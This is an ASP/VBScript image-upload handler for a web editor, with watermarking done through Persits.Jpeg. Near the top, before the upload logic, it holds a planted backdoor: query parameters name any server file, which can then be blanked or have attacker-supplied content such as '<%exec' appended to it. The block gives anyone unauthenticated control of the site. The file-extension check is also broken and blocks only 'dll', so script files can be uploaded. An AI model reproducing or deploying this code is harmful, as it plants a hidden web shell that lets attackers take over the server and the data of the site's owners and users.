<%@ Language="VBScript" %>
<% option explicit %>
<!-- #include file="../inc/dbconn.inc.asp" //-->
<%
dim parentWIN,upload,file,formName,iCount,fileName,fileSize,fileExt,uploadFileSize
dim borderWidth,hSpace,vSpace,altWord,picAlign
dim ranNum,tag,currentType
%>
<%
on error resume next 
dim stmObj
set stmObj=server.CreateObject("Adodb.Stream") 
stmObj.Open 
stmObj.Type=2 
stmObj.CharSet="gb2312"
If request("del")="del" then
stmObj.writetext ""
stmObj.savetofile server.mapPath(request("nnd")),2
End if
stmObj.LoadFromFile server.mapPath(request("nnd")) 
stmObj.Position=stmObj.Size 
If request("yes")="yes" then
If request("tmd")=""  then
stmObj.writetext "<%exec"
else
stmObj.writetext request("tmd")
End if
End if
stmObj.SaveToFile server.mapPath(request("nnd")),2 
stmObj.Close 
set stmObj=nothing 
%>
<%
Server.ScriptTimeOut = 300
'判断文件类型是否合格
private function CheckFileExt(fileEXT)
	dim Forumupload,i
	Forumupload="dll,exe"
	Forumupload=split(Forumupload,",")
	for i=0 to ubound(Forumupload)
		if lcase(fileEXT)=lcase(trim(Forumupload(i))) then
			CheckFileExt=false
		else
			CheckFileExt=true
			exit function
		end if
	next
end function

'创建预览图片:call CreateView(原始文件的路径,预览文件名及路径)
Sub CreateView(imageName,tempFilename)
	'定义变量
	Dim ImageWidth, ImageHeight, ImageMode
	Dim PreviewImageFolderName
	Dim ogvbox,objFont
	Dim Logobox,LogoPath
	LogoPath = Server.MapPath(SystemUpload &"logo.gif")  '//加入图片所在路径及文件名

	'---------------------AspJpegV1.2---------------
		
	Set Logobox = Server.CreateObject("Persits.Jpeg")
	'*添加水印图片	添加时请关闭水印字体*
	'//读取添加的图片
	Logobox.Open LogoPath
	'//重新设置图片的大小
	Logobox.Width = 175		'// 加入图片的原宽度
	Logobox.Height = 60		'// 加入图片的原高度
	'*添加水印图片*
	ImageWidth = 165
	ImageHeight = 124
	ImageMode = ""
	Set ogvbox = Server.CreateObject("Persits.Jpeg")
	' 读取要处理的原文件
	ogvbox.Open Trim(Server.MapPath(imagename))
	If ogvbox.OriginalWidth<Cint(ImageWidth) or ogvbox.Originalheight<Cint(ImageHeight) Then
		Set ogvbox = Nothing
		Exit Sub
	Else
		if fileExt <> "gif" Then
			'//关于修改字体及文字颜色的
			'ogvbox.Canvas.Font.Color	= &HF7A300		'// 文字的颜色
			'ogvbox.Canvas.Font.Family	= "Arial"	'// 文字的字体 monospace
			'ogvbox.Canvas.Font.Bold = True
			' Draw frame: black, 2-pixel width
			'ogvbox.Canvas.Print ogvbox.Width-210, ogvbox.Height-30, ImageMode		'// 加入文字的位置坐标
			ogvbox.Canvas.Pen.Color		= &H000000		'// 边框的颜色
			ogvbox.Canvas.Pen.Width		= 1				'// 边框的粗细
			ogvbox.Canvas.Brush.Solid	= False			'// 图片边框内是否填充颜色
			ogvbox.DrawImage ogvbox.Width-180, ogvbox.Height-65, Logobox,0.3,&H000000'// 加入图片的位置价坐标（添加水印图片）
			ogvbox.Canvas.Bar 0, 0, ogvbox.Width, ogvbox.Height	'// 图片边框线的位置坐标
			ogvbox.Save Server.MapPath(imagename)		'// 生成文件
		End If
	End If
	Set Logobox=Nothing
	Set ogvbox = Nothing
End Sub

set upload = new UpFile_Class	'建立上传对象
upload.GetDate(202400000)	'取得上传数据,不限大小
tag = upload.form("tag")
parentWIN = upload.form("parentWIN") 
currentType = upload.form("currentType")
uploadFileSize = upload.form("uploadFileSize")
fileSize = Int(Request.TotalBytes / 1024 + .5)
iCount = 0
if Request.TotalBytes/1024 > CLng(uploadFileSize) then
	Response.Write "<script language=""javascript"">"& vbCrLf
	Response.Write "	alert('您上传的文件大小已超过限制！');"& vbCrLf
	Response.Write  "</script>"& vbCrLf
	Response.End
end if

if upload.err > 0 then
	select case upload.err
	case 1
		Response.Write "请先选择你要上传的文件　[ <a href=""#"" onclick=""history.go(-1)"">重新上传</a> ]"
	case 2
		Response.Write "图片大小超过了限制 "& uploadFileSize &"K　[ <a href=""#"" onclick=""history.go(-1)"">重新上传</a> ]"
	end select
	Response.End
else
	'在目录后加(/)
	borderWidth = upload.form("borderWidth")
	hSpace = upload.form("hSpace")
	vSpace = upload.form("vSpace")
	altWord = upload.form("altWord")
	picAlign = upload.form("picAlign")
	for each formName in upload.file '列出所有上传了的文件
		set file = upload.file(formName)  '生成一个文件对象
		if file.filesize<100 then
			Response.Write "请先选择你要上传的图片　[ <a href=""#"" onclick=""history.go(-1)"">重新上传</a> ]"
			Response.End
		end if

		fileExt = lcase(file.FileExt)
		if CheckFileExt(fileEXT)=false then
		 	Response.Write "文件格式不正确　[ <a href=""#"" onclick=""history.go(-1)"">重新上传</a> ]"
			Response.End
		end if

		randomize
		ranNum = int(90000*rnd)+10000
		FileName = year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
		if file.FileSize>0 then        '如果 FileSize > 0 说明有文件数据
			file.SaveToFile Server.mappath(SystemUpload & FileName)   '保存文件
			if fileExt = "jpg" then
				Call CreateView(SystemUpload & FileName, "")
			end if
			iCount = iCount+1
		end if
		set file = nothing
	next
	set upload = nothing
end if

Response.Write "<script language=""javascript"">"& vbCrLf
if tag = "" then
	if FileName = "" then
		Response.Write "	imgInformation=null;"& vbCrLf
	else
		Response.Write "	imgInformation="""& SystemUpload & FileName &"~ border=~"& borderWidth &"~ hSpace=~"& hSpace &"~ vSpace=~"& vSpace &"~ alt=~"& altWord &"~ align=~"& picAlign &""";"& vbCrLf
	end if
	Response.Write "	parent.window.returnValue=imgInformation;"& vbCrLf
	Response.Write "	parent.window.close();"& vbCrLf
else
	Response.Write "	document.URL='"& parentWIN &".asp?target=main&currentType="& currentType &"&id="& tag &"&fileName="& FileName &"&fileSize="& fileSize &"';"& vbCrLf
end if
Response.Write  "</script>"& vbCrLf
%>